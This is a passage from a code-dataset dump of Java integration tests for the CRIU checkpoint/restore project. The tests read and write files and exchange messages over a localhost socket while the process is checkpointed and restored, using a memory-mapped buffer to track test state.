"MemoryMappings_file.txt"); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); String pid = bean.getName(); int val = Helper.init(TESTNAME, pid, logger); if (0 != val) { logger.log(Level.SEVERE, "Helper.init returned a non-zero code."); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Test init done; pid written to pid file; beginning with test"); FileChannel channel = FileChannel.open(f.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); b = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); /* * Mapped Byte Buffer should be in init state at the beginning of test */ if (Helper.STATE_INIT != b.getChar(Helper.MAPPED_INDEX)) { logger.log(Level.SEVERE, "Error: Error in memory mapping, test is not in init state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Checking existence of file to be memory mapped"); if (!readFile.exists()) { logger.log(Level.SEVERE, "Error: File from which to read does not exist"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } channel = FileChannel.open(readFile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); testBuffer = channel.map(MapMode.READ_WRITE, 0, readFile.length()); channel.close(); if (writeFile.exists()) { writeFile.delete(); } boolean newFile = writeFile.createNewFile(); if (!newFile) { logger.log(Level.SEVERE, "Error: Cannot create a new file to write to."); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } BufferedWriter brw = new BufferedWriter(new FileWriter(writeFile)); while (testBuffer.hasRemaining()) { ch = (char) testBuffer.get(); brw.write(ch); i++; if (200 == i) { logger.log(Level.INFO, "Going to checkpoint"); Helper.checkpointAndWait(b, logger); logger.log(Level.INFO, "Test has been restored!"); } } brw.close(); logger.log(Level.INFO, "Comparing contents of the file"); similar = Helper.compare(readFile, writeFile); if (!similar) { logger.log(Level.SEVERE, "Error: Files are not similar after writing"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } logger.log(Level.INFO, "Data was read and written correctly!"); logger.log(Level.INFO, Helper.PASS_MESSAGE); brw.close(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); System.exit(0); } catch (Exception e) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); e.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + e); logger.log(Level.FINE, writer.toString()); } if (null != b) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(5); } } }
4,058
32.270492
132
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/MultipleFileRead.java
package org.criu.java.tests; import java.io.*; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class MultipleFileRead { private static String TESTNAME = "MultipleFileRead"; /** * @param readFile1 File 1 whose contents are read. * @param readFile2 File 2 whose contents are read. * @param writeFile File in which data has been written to. * @return true if the data written is as expected, false otherwise. * @throws IOException */ private static boolean compare(File readFile1, File readFile2, File writeFile) throws IOException { BufferedReader br1 = new BufferedReader(new FileReader(readFile1)); BufferedReader br2 = new BufferedReader(new FileReader(readFile2)); BufferedReader brw = new BufferedReader(new FileReader(writeFile)); boolean eof1, eof2; eof1 = false; eof2 = false; String inpString, wrtString; while (!eof1 || !eof2) { if (!eof1) { inpString = br1.readLine(); if (null == inpString) { eof1 = true; } else { wrtString = brw.readLine(); if (null == wrtString) { return false; } if (!wrtString.equals(inpString)) { return false; } } } if (!eof2) { inpString = br2.readLine(); if (null == inpString) { eof2 = true; } else { wrtString = brw.readLine(); if (null == wrtString) { return false; } if (!wrtString.equals(inpString)) { return false; } } } } wrtString = brw.readLine(); if (null != wrtString) { return false; } br1.close(); br2.close(); brw.close(); return true; } /** * Read from multiple files and write their content into another file, * checkpointing and restoring in between. * * @param args Not used. */ public static void main(String[] args) { MappedByteBuffer b = null; String s; int i = 0; Logger logger = null; try { logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); File f = new File(Helper.MEMORY_MAPPED_FILE_NAME); File readFile1 = new File(Helper.SOURCE_FOLDER + "/" + "FileRead.java"); File readFile2 = new File(Helper.SOURCE_FOLDER + "/" + "ReadWrite.java"); File writeFile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + TESTNAME + "/" + "MultipleFileRead_file.txt"); boolean eofFile1 = false, eofFile2 = false, check; RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); String pid = bean.getName(); int val = Helper.init(TESTNAME, pid, logger); if (0 != val) { logger.log(Level.SEVERE, "Helper.init returned a non-zero code."); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Test init done; pid written to pid file; beginning with test"); FileChannel channel = FileChannel.open(f.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); b = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); /* * Mapped Byte Buffer should be in init state at the beginning of test */ if (b.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT) { logger.log(Level.SEVERE, "Error: Error in memory mapping, test is not in init state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Checking existence of the read files"); if (!readFile1.exists()) { logger.log(Level.SEVERE, "Error: File from which to read does not exist"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (!readFile2.exists()) { logger.log(Level.SEVERE, "Error: File from which to read does not exist"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (writeFile.exists()) { writeFile.delete(); } logger.log(Level.INFO, "Creating writeFile"); boolean newFile = writeFile.createNewFile(); if (!newFile) { logger.log(Level.SEVERE, "Error: Cannot create a new file to write to."); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } BufferedReader br1 = new BufferedReader(new FileReader(readFile1)); BufferedReader br2 = new BufferedReader(new FileReader(readFile2)); BufferedWriter brw = new BufferedWriter(new FileWriter(writeFile)); logger.log(Level.INFO, "Writing in file"); while (!eofFile1 || !eofFile2) { if (!eofFile1) { s = br1.readLine(); i++; if (null == s) { eofFile1 = true; } else { brw.write(s + "\n"); } } if (!eofFile2) { s = br2.readLine(); i++; if (null == s) { eofFile2 = true; } else { brw.write(s + "\n"); } } if (10 == i) { /* * Checkpoint and Restore */ logger.log(Level.INFO, "Going to checkpoint"); Helper.checkpointAndWait(b, logger); logger.log(Level.INFO, "Test has been restored!"); } } brw.flush(); logger.log(Level.INFO, "Checking the content of the file"); check = compare(readFile1, readFile2, writeFile); if (!check) { logger.log(Level.SEVERE, "Error: Files are not similar after writing"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } logger.log(Level.INFO, "The file has been written as expected"); logger.log(Level.INFO, Helper.PASS_MESSAGE); br1.close(); br2.close(); brw.close(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); System.exit(0); } catch (Exception e) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); e.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + e); logger.log(Level.FINE, writer.toString()); } if (null != b) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(5); } } }
6,071
28.764706
132
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/MultipleFileWrite.java
package org.criu.java.tests; import java.io.*; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class MultipleFileWrite { private static String TESTNAME = "MultipleFileWrite"; /** * Reads from a file and write its content into multiple files, * checkpointing and restoring in between. * * @param args Not used. */ public static void main(String[] args) { MappedByteBuffer b = null; String s, pid; int i = 1; Logger logger = null; boolean similar1, similar2; try { File readFile = new File(Helper.SOURCE_FOLDER + "/" + "FileRead.java"); File writeFile1 = new File(Helper.OUTPUT_FOLDER_NAME + "/" + TESTNAME + "/" + TESTNAME + "1_file.txt"); File writeFile2 = new File(Helper.OUTPUT_FOLDER_NAME + "/" + TESTNAME + "/" + TESTNAME + "2_file.txt"); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); File f = new File(Helper.MEMORY_MAPPED_FILE_NAME); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); pid = bean.getName(); int val = Helper.init(TESTNAME, pid, logger); if (0 != val) { logger.log(Level.SEVERE, "Helper.init returned a non-zero code."); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Test init done; pid written to pid file; beginning with test"); FileChannel channel = FileChannel.open(f.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); b = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); /* * Mapped Byte Buffer should be in init state at the beginning of test */ if (Helper.STATE_INIT != b.getChar(Helper.MAPPED_INDEX)) { logger.log(Level.SEVERE, "Error: Error in memory mapping, test is not in init state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Checking existence of read files!"); if (!readFile.exists()) { logger.log(Level.SEVERE, "Error: File from which to read does not exist"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (writeFile1.exists()) { writeFile1.delete(); } boolean newFile = writeFile1.createNewFile(); if (!newFile) { logger.log(Level.SEVERE, "Error: Cannot create a new file to write to."); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (writeFile2.exists()) { writeFile2.delete(); } newFile = writeFile2.createNewFile(); if (!newFile) { logger.log(Level.SEVERE, "Error: Cannot create a new file to write to."); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Created write files"); BufferedReader br = new BufferedReader(new FileReader(readFile)); BufferedWriter bw1 = new BufferedWriter(new FileWriter(writeFile1)); BufferedWriter bw2 = new BufferedWriter(new FileWriter(writeFile2)); s = br.readLine(); while (null != s) { bw1.write(s + "\n"); bw2.write(s + "\n"); if (90 == i) { /* * Checkpoint and Restore */ logger.log(Level.INFO, "Going to checkpoint"); Helper.checkpointAndWait(b, logger); logger.log(Level.INFO, "Test has been restored!"); } i++; s = br.readLine(); } bw1.flush(); bw2.flush(); logger.log(Level.INFO, "Checking files have been written correctly"); similar1 = Helper.compare(readFile, writeFile1); similar2 = Helper.compare(readFile, writeFile2); if (!similar1 || !similar2) { logger.log(Level.SEVERE, "Error: Written data is not identical to the data read"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } logger.log(Level.INFO, "Content of files is as expected"); logger.log(Level.INFO, Helper.PASS_MESSAGE); br.close(); bw1.close(); bw2.close(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); System.exit(0); } catch (Exception e) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); e.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + e); logger.log(Level.FINE, writer.toString()); } if (null != b) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(5); } } }
4,593
31.58156
132
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/ReadWrite.java
package org.criu.java.tests; import java.io.*; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class ReadWrite { private static String TESTNAME = "ReadWrite"; /** * Read from a file and write its content into another file, * checkpointing and restoring in between. * * @param args Not used. */ public static void main(String[] args) { int i = 0; String s, pid; boolean similar; MappedByteBuffer b = null; Logger logger = null; try { File readFile = new File(Helper.SOURCE_FOLDER + "/" + "FileRead.java"); File writeFile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + TESTNAME + "/" + "ReadWrite_file.txt"); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); File f = new File(Helper.MEMORY_MAPPED_FILE_NAME); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); pid = bean.getName(); int val = Helper.init(TESTNAME, pid, logger); if (0 != val) { logger.log(Level.SEVERE, "Helper.init returned a non-zero code."); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Test init done; pid written to pid file; beginning with test"); FileChannel channel = FileChannel.open(f.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); b = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); /* * Mapped Byte Buffer should be in init state at the beginning of test */ if (Helper.STATE_INIT != b.getChar(Helper.MAPPED_INDEX)) { logger.log(Level.SEVERE, "Error: Error in memory mapping, test is not in init state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Checking existence of files to be read!"); if (!readFile.exists()) { logger.log(Level.SEVERE, "Error: File from which to read does not exist"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (writeFile.exists()) { writeFile.delete(); } logger.log(Level.INFO, "Creating the writeFile"); boolean newFile = writeFile.createNewFile(); if (!newFile) { logger.log(Level.SEVERE, "Error: Cannot create a new file to write to."); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } BufferedReader brr = new BufferedReader(new FileReader(readFile)); BufferedWriter brw = new BufferedWriter(new FileWriter(writeFile)); logger.log(Level.INFO, "Start writing"); s = brr.readLine(); while (null != s) { i++; brw.write(s + "\n"); if (50 == i) { /* * Checkpoint and Restore */ logger.log(Level.INFO, "Going to checkpoint"); Helper.checkpointAndWait(b, logger); logger.log(Level.INFO, "Test has been restored!"); } s = brr.readLine(); } brw.flush(); logger.log(Level.INFO, "Checking content of the files."); similar = Helper.compare(readFile, writeFile); if (!similar) { logger.log(Level.SEVERE, "Error: Files are not similar after writing"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } logger.log(Level.INFO, "Content of file is as expected"); logger.log(Level.INFO, Helper.PASS_MESSAGE); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); System.exit(0); } catch (Exception e) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); e.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + e); logger.log(Level.FINE, writer.toString()); } if (null != b) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(5); } } }
3,970
32.091667
132
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketHelper.java
package org.criu.java.tests; import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.nio.MappedByteBuffer; import java.util.logging.FileHandler; import java.util.logging.Level; import java.util.logging.Logger; import java.util.logging.SimpleFormatter; class SocketHelper { static char STATE_LISTEN = 'S'; static char STATE_SUCCESS = 'Z'; static String IP_ADDRESS = "127.0.0.1"; /** * Creates a new log file, for the logger to log in. * * @param testName Name of the server or client program * @param parentTestName Name of the test * @param logger * @throws IOException */ static void init(String testName, String parentTestName, Logger logger) throws IOException { FileHandler handler = new FileHandler(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/" + testName + ".log", false); handler.setFormatter(new SimpleFormatter()); handler.setLevel(Level.FINE); logger.addHandler(handler); logger.setLevel(Level.FINE); } /** * Writes pid of the process to be checkpointed in the file * * @param parentTestName Name of the test * @param pid Pid of the process to be checkpointed * @throws IOException */ static void writePid(String parentTestName, String pid) throws IOException { File pidfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/" + parentTestName + Helper.PID_APPEND); BufferedWriter pidwriter = new BufferedWriter(new FileWriter(pidfile)); /* * Overwriting pid to be checkpointed */ pidwriter.write(pid + "\n"); pidwriter.close(); } /** * Waits for the MappedByteBuffer to change state from STATE_CHECKPOINT to STATE_RESTORE * * @param socketMappedBuffer MappedByteBuffer between the client, server and the controller process. * @param logger */ static void socketWaitForRestore(MappedByteBuffer socketMappedBuffer, Logger logger) { while (Helper.STATE_CHECKPOINT == socketMappedBuffer.getChar(Helper.MAPPED_INDEX)) { ; } if (Helper.STATE_RESTORE != socketMappedBuffer.getChar(Helper.MAPPED_INDEX)) { logger.log(Level.SEVERE, "Server socket was not in expected restore state " + socketMappedBuffer.getChar(Helper.MAPPED_INDEX)); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } else { logger.log(Level.INFO, "Restored!!!"); } } /** * Puts the MappedByteBuffer to Helper.STATE_CHECKPOINT and waits for CheckpointRestore.java to change its state to Helper.STATE_RESTORE * * @param b MappedByteBuffer between the controller process and CheckpointRestore.java * @param logger Logger to log the messages * @param p1 Process object for the client process * @param p2 Process object for the server process */ static void checkpointAndWait(MappedByteBuffer b, Logger logger, Process p1, Process p2) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_CHECKPOINT); char c = b.getChar(Helper.MAPPED_INDEX); while (Helper.STATE_CHECKPOINT == c) { c = b.getChar(Helper.MAPPED_INDEX); } if (Helper.STATE_TERMINATE == c) { logger.log(Level.SEVERE, "Error during checkpoint-restore, Test terminated"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); p1.destroy(); p2.destroy(); System.exit(1); } if (Helper.STATE_RESTORE != c) { logger.log(Level.SEVERE, "Error: Test state is not the expected Restored state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); p1.destroy(); p2.destroy(); System.exit(1); } } }
3,527
33.930693
137
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/Sockets.java
package org.criu.java.tests; import java.io.File; import java.io.PrintWriter; import java.io.StringWriter; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class Sockets { static String TESTNAME = "Sockets"; /** * Runs the client and server process, checkpoints the server process while its in the middle of data transfer * * @param args Not used */ public static void main(String[] args) { MappedByteBuffer b = null, socketMappedBuffer = null; FileChannel channel; String pid; String port = "49200"; Logger logger = null; try { logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); /* * Mapped buffer 'b' to communicate between CheckpointRestore.java and this process. */ File f = new File(Helper.MEMORY_MAPPED_FILE_NAME); channel = FileChannel.open(f.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); b = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); pid = bean.getName(); Helper.init(TESTNAME, pid, logger); logger.log(Level.INFO, "Test init done; pid written to pid file; beginning with test"); if (Helper.STATE_INIT != b.getChar(Helper.MAPPED_INDEX)) { logger.log(Level.SEVERE, "Error: Error in memory mapping, test is not in init state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } logger.log(Level.INFO, "Creating socketBufferFile and setting the init value of buffer"); /* * Socket Mapped Buffer to communicate between server process, client process and this process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + TESTNAME + "/SocketsFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_INIT); logger.log(Level.INFO, "Starting server and client process"); ProcessBuilder builder = new ProcessBuilder("java", "-cp", "target/classes", Helper.PACKAGE_NAME + "." + "SocketsServer", TESTNAME, port); Process serverProcess = builder.start(); logger.log(Level.INFO, "Server process started"); builder = new ProcessBuilder("java", "-cp", "target/classes", Helper.PACKAGE_NAME + "." + "SocketsClient", TESTNAME, port); Process clientProcess = builder.start(); while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_INIT || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_LISTEN) { ; } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { logger.log(Level.SEVERE, "Killing the server and client process"); logger.log(Level.SEVERE, "Error took place in the client or server process; check their log for details"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_CHECKPOINT) { logger.log(Level.SEVERE, "Killing the server and client process"); logger.log(Level.SEVERE, "State is not the expected 'to be checkpointed' state"); serverProcess.destroy(); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_CHECKPOINT) { logger.log(Level.INFO, "Going to checkpoint server process"); SocketHelper.checkpointAndWait(b, logger, serverProcess, clientProcess); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_RESTORE); logger.log(Level.INFO, "Process has been restored"); } /* * Loop while test is running. */ while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_RESTORE || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_SUCCESS) { ; } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_FAIL && socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_PASS) { logger.log(Level.SEVERE, "Killing the server and client process"); logger.log(Level.SEVERE, "Received wrong message from the child process: not the expected finish message"); logger.log(Level.SEVERE, "Check their log files for more details"); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL) { logger.log(Level.SEVERE, "Killing the server and client process"); logger.log(Level.SEVERE, "Error in the client or server process: check their log for details"); clientProcess.destroy(); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } /* * Client process puts socketMappedBuffer to Pass state if the test passed. */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_PASS) { logger.log(Level.INFO, Helper.PASS_MESSAGE); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); } else { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(0); } catch (Exception e) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); e.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + e); logger.log(Level.FINE, writer.toString()); } if (b != null) { b.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } System.exit(5); } } }
5,975
41.084507
165
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsClient.java
package org.criu.java.tests; import java.io.*; import java.net.Socket; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsClient { static String TESTNAME = "SocketsClient"; public static void main(String[] args) { MappedByteBuffer socketMappedBuffer = null; FileChannel channel; Socket socket = null; Logger logger = null; String msg1 = "Ch@ckM@$$@Ge!1", msg2 = "cH@C!m$SG!!2", readMssg, msg3 = "@Ft@rCPM$$g3", msg4 = "Aft@rCPM$$g4"; String parentTestName, portArg; int port; try { parentTestName = args[0]; portArg = args[1]; port = Integer.parseInt(portArg); /* * Socket Mapped Buffer to communicate between server process, client process and the calling parent process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/SocketsFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); SocketHelper.init(TESTNAME, parentTestName, logger); logger.log(Level.INFO, "Begin"); logger.log(Level.INFO, "Parent name: " + parentTestName); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT && socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != SocketHelper.STATE_LISTEN) { logger.log(Level.SEVERE, "Error: Socket-buffer not in expected Init state"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); } logger.log(Level.INFO, "Client socket sending req to server at IP: 127.0.0.1 port:" + port); /* * Ensure client does not try to connect to port before server has bound itself. */ while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_INIT) { ; } /* * Socket Buffer should be put in SocketHelper.STATE_LISTEN state by server process, just before * it starts listening for client connections. */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != SocketHelper.STATE_LISTEN) { logger.log(Level.SEVERE, "Error: Buffer does not contain the expected 'server bound to port and listening' state"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } /* * Ensure server has bound to port */ try { Thread.sleep(10); } catch (InterruptedException e) { logger.log(Level.WARNING, "InterruptedException occurred!"); } socket = new Socket(SocketHelper.IP_ADDRESS, port); PrintStream out = new PrintStream(socket.getOutputStream()); BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); logger.log(Level.INFO, "Sending message to server " + msg1); out.println(msg1); readMssg = br.readLine(); logger.log(Level.INFO, "Message received from server " + readMssg); if (!msg2.equals(readMssg)) { logger.log(Level.SEVERE, "Error: wrong message received; message expected " + msg2); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); } logger.log(Level.INFO, "Sending message to server " + msg3); out.println(msg3); readMssg = br.readLine(); logger.log(Level.INFO, "Message received from server " + readMssg); if (!msg4.equals(readMssg)) { logger.log(Level.SEVERE, "Error: wrong message received; message expected " + msg4); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } socket.close(); /* * Wait for server process to end and then check whether it ended successfully or not * If it has finished properly the socketMappedBuffer will contain SocketHelper.STATE_SUCCESS */ logger.log(Level.INFO, "Waiting for server process to end...."); while (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_RESTORE) { ; } /* * Check the server process has ended successfully, if it was a success put Mapped Buffer to pass state, else to failed state */ if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == SocketHelper.STATE_SUCCESS) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_PASS); } else { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } logger.log(Level.INFO, "Test ends"); } catch (Exception exception) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); exception.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + exception); logger.log(Level.FINE, writer.toString()); } if (socketMappedBuffer != null) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } } } }
4,992
36.261194
158
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsConnect.java
package org.criu.java.tests; import java.io.File; import java.io.PrintWriter; import java.io.StringWriter; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsConnect { static String TESTNAME = "SocketsConnect"; /** * Runs the client and server process, checkpoints the server when its listening for incoming client connection requests on a port but no client has connected yet * * @param args Not used */ public static void main(String[] args) { MappedByteBuffer b = null, socketMappedBuffer = null; FileChannel channel; String pid; String port = "49200"; Logger logger = null; try { logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); /* * Mapped buffer 'b' to communicate between CheckpointRestore.java and this process. */ File f = new File(Helper.MEMORY_MAPPED_FILE_NAME); channel = FileChannel.open(f.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); b = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); pid = bean.getName(); Helper.init(TESTNAME, pid, logger); logger.log(Level.INFO, "Test init done; pid written to pid file; beginning with test"); if (b.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT) { logger.log(Level.SEVERE, "Error: Error in memory mapping, test is not in init state"); b.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); System.exit(1); } /* * Socket Mapped Buffer to communicate between server process, client process and this process. */ logger.log(Level.INFO, "Creating socketbufferfile and setting the init value of buffer"); File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + TESTNAME + "/SocketsConnectFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); /* * Set socketMappedBuffer to init 